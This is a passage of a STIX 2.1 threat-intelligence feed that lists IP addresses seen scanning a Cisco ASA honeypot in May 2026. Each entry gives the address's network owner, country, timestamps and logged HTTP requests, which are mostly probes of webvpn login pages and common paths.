      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-25T10:19:00.462Z",
          "last_seen": "2026-05-25T10:21:08.011Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--23d6d5ba-1a19-4f80-b0bc-523686fd2058",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T10:20:10.000Z",
      "valid_until": "2026-06-26T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-25T10:18:11.238Z",
          "last_seen": "2026-05-25T10:18:11.238Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a93b224a-cb53-40db-af76-8ae70c46abe3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:20:10.000Z",
      "valid_until": "2026-06-26T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-25T10:20:59.896Z",
          "last_seen": "2026-05-25T10:20:59.896Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--05a0a6ce-e91b-40dc-99e1-583f33d6309c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:20:10.000Z",
      "valid_until": "2026-06-26T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-25T10:21:05.530Z",
          "last_seen": "2026-05-25T10:21:05.530Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--1148f988-de5f-47d8-b46c-579e692a5d39",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:20:10.000Z",
      "valid_until": "2026-06-26T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-25T10:20:42.195Z",
          "last_seen": "2026-05-25T10:20:55.506Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--88078465-1c2f-42f6-a525-42a935362210",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T11:20:10.000Z",
      "valid_until": "2026-06-26T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-25T10:31:26.913Z",
          "last_seen": "2026-05-25T10:31:26.913Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--ff5e8621-f47d-497d-8f00-63f1cbf21d50",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.218.63.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T12:20:10.000Z",
      "valid_until": "2026-06-26T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-25T11:37:27.063Z",
          "last_seen": "2026-05-25T11:37:30.063Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c5a4f480-c318-4fc3-acb4-4109ad39d68d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.107.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:20:10.000Z",
      "valid_until": "2026-06-26T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-25T14:10:21.022Z",
          "last_seen": "2026-05-29T09:50:48.304Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--bd6f7488-b4fc-4d1f-8695-529ee667319b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T14:20:10.000Z",
      "valid_until": "2026-06-26T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-25T14:00:46.282Z",
          "last_seen": "2026-05-25T14:01:00.493Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--5e94298e-a269-4259-8e9d-5a41715400de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:20:10.000Z",
      "valid_until": "2026-06-26T15:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-25T15:13:23.289Z",
          "last_seen": "2026-05-30T06:17:22.104Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398722 (Censys, Inc.)",
      "id": "indicator--52dc0fb7-3e34-490e-834e-e93750ec2305",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T15:20:10.000Z",
      "valid_until": "2026-06-26T15:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-25T14:23:06.142Z",
          "last_seen": "2026-05-25T14:23:40.534Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398722,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--f384f918-0b61-457f-b707-38ba966db1b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T16:20:10.000Z",
      "valid_until": "2026-06-26T16:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-25T15:28:16.729Z",
          "last_seen": "2026-05-27T12:50:07.824Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--5954971e-2ce3-408b-8b10-7d39b40c68ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.88.8.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T16:20:10.000Z",
      "valid_until": "2026-06-26T16:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-25T15:22:08.586Z",
          "last_seen": "2026-05-25T15:22:12.032Z",
          "country": "United States",
          "country_code": "US",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T19:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--f2f65194-37da-47b3-b3d0-c4ce09c9c6ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.154.182.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:20:05.000Z",
      "valid_until": "2026-06-26T19:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 16,
          "first_seen": "2026-05-25T18:27:57.841Z",
          "last_seen": "2026-05-25T18:28:45.264Z",
          "country": "United States",
          "country_code": "US",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T19:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 10439 (CariNet, Inc.)",
      "id": "indicator--cdc2b746-51e3-4453-bbe6-9f667db7c070",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:20:05.000Z",
      "valid_until": "2026-06-26T19:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-25T18:24:10.301Z",
          "last_seen": "2026-05-25T18:24:13.304Z",
          "country": "United States",
          "country_code": "US",
          "asn": 10439,
          "as_org": "CariNet, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T19:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--cea10e70-6fda-485f-a7ea-137bc4fa0482",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '82.117.86.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T19:20:05.000Z",
      "valid_until": "2026-06-26T19:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-25T18:32:21.796Z",
          "last_seen": "2026-05-25T18:32:27.376Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--523937c8-a9e3-48fc-9bea-6cd07755d41c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '72.244.47.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T22:20:10.000Z",
      "valid_until": "2026-06-26T22:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-25T22:07:41.108Z",
          "last_seen": "2026-05-26T18:29:42.118Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--a5749118-a8f1-4d93-93f1-24e0934ea811",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T23:20:10.000Z",
      "valid_until": "2026-06-26T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-25T22:29:15.831Z",
          "last_seen": "2026-05-25T22:29:23.148Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-25T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--2885be14-8065-44c3-87dd-48fcead7e24f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.168.122.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-25T23:20:10.000Z",
      "valid_until": "2026-06-26T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-25T22:59:28.241Z",
          "last_seen": "2026-05-25T22:59:31.244Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e123124f-b2f1-412b-9c4e-0cdf51e6ca3e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.249.139.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T00:20:05.000Z",
      "valid_until": "2026-06-27T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-26T00:16:58.575Z",
          "last_seen": "2026-05-26T02:29:52.095Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--6a1abfe6-b6d0-45b8-ae57-3dadf1baed06",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.165.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-26T00:20:05.000Z",
      "valid_until": "2026-06-27T00:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-25T23:31:36.312Z",
          "last_seen": "2026-05-29T09:34:23.584Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-26T00:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f5c3c524-c618-4674-af1e-0f6f201158da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
